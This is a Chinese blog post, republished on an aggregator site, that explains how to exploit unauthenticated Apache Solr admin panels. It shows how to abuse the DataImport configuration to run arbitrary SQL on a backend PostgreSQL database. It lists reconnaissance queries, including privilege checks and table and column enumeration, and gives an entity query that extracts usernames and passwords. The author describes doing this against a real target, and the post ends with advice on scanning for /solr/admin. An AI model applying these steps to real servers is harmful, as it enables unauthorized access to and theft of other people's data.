solr未授权访问漏洞的利用

栏目: 后端 · 发布时间: 3年前

来源: www.611eternity.com

内容简介:solr未授权访问漏洞的利用

本文转载自:http://www.611eternity.com/solr未授权访问漏洞利用/?utm_source=tuicool&utm_medium=referral,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有。

漏洞介绍

Solr: Search On Lucene Replication Solr是一个高性能,采用 Java 开发,基于Lucene的全文搜索服务器。文档通过Http利用 XML 加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。 solr未授权访问的危害很大,轻则可查询所有 数据库 信息,重则可读取系统任意文件,甚至getshell.

漏洞利用

除了查看配置信息之外,漏洞利用的方式就是查询数据了,默认查询数据方式直接进入如下图所示的query界面,进入query后点击“execute query”即可查询默认的数据。这里的默认是指只能按给定的数据搜索方式从特定的数据库中搜索数据,不能自定义查询。

自定义查询的方式要进入如下图所示的 Dateimport 界面,进入后界面如下:

solr未授权访问漏洞的利用 solr未授权访问漏洞的利用
Solr管理界面

注意图中几个关键点,在Configuration内修改配置文件,一般配置文件会存储数据库的地址,用户名密码等,查询通过修改实体的 query 字段,修改成对应数据库的对应查询语句,只要结果正确,就能查询出数据了。默认只显示十条数据,你可以选择修改一次显示100条或者使用移位查询,都可以。如果用户权限高,像 mysql 、mssql等都有机会直接获得shell的,当然还是要看运气。我这次就遇到一个 postgresql 的库,用户权限还不高,读取不了系统文件,只能查询一些数据了。

Postgresql数据查询

渗透中常用的查询可查看 pentestmonkey 的介绍。下面介绍一下我的查询历程:

查询版本:

select version()

查询用户权限:

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user 得出用户权限不高,不是superuser,也就是说一些读取文件,传shell的操作是执行不了了,只能查查数据库中有没有敏感数据了。

查询所有数据库:

SELECT datname FROM pg_database

查询表名:

两种办法:

  • select tablename from pg_tables where schemaname='public'
  • SELECT tablename FROM pg_tables WHERE tablename NOT LIKE 'pg%' AND tablename NOT LIKE 'sql_%' ORDER BY tablename;

查询指定表中的字段名:

SELECT col_description(a.attrelid,a.attnum) as comment,format_type(a.atttypid,a.atttypmod) as type,a.attname as name, a.attnotnull as notnull FROM pg_class as c,pg_attribute as a where c.relname = '表名' and a.attrelid = c.oid and a.attnum>0

查询数据:

例如我这里查出有user表,字段有username,password。 这里有有个小tips。user是postgresql的预留关键字,如果直接 select * from user的话,会从系统的user表中查询数据,查出的是postgresql的使用用户,而不是我想要的user表。 解决方案: select * from “user” , 注意这里必须用双引号,单引号是执行不了的。 而在 solr 中,搜索的query语句默认是用双引号括起来的,所以这里需要把solr的双引号改成单引号,即: <entity name="knowledge" query='SELECT username,password from "user"'>

最终我查出了一些还算敏感的数据。 查询user表中的数据数量: select count(1) from "users"

总结

其实这个漏洞的利用是不难的,进入管理界面后翻翻文件,查询数据即可。难在如何发现这个漏洞。涉及到厂商的信息搜集,IP段扫描,敏感目录爆破等。敏感目录扫描时必须加上一条 /solr/admin


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

关注码农网公众号

关注我们,获取更多IT资讯^_^


为你推荐:

相关软件推荐:

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web应用漏洞侦测与防御

Web应用漏洞侦测与防御

Mike Shema / 齐宁、庞建民、张铮、单征 / 机械工业出版社 / 2014-8-20 / 69.00

本书由国际知名网络安全专家亲笔撰写,全面讲解如何预防常见的网络攻击,包括HTML注入及跨站脚本攻击、跨站请求伪造攻击、SQL注入攻击及数据存储操纵、攻破身份认证模式、利用设计缺陷、利用平台弱点、攻击浏览器和隐私等, 全书共8章:第1章介绍HTML5的新增特性及使用和滥用HTML5的安全考虑;第2章展示了如何只通过浏览器和最基本的HTML知识就可以利用Web中最常见的漏洞;第3章详细讲解CSR......一起来看看 《Web应用漏洞侦测与防御》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具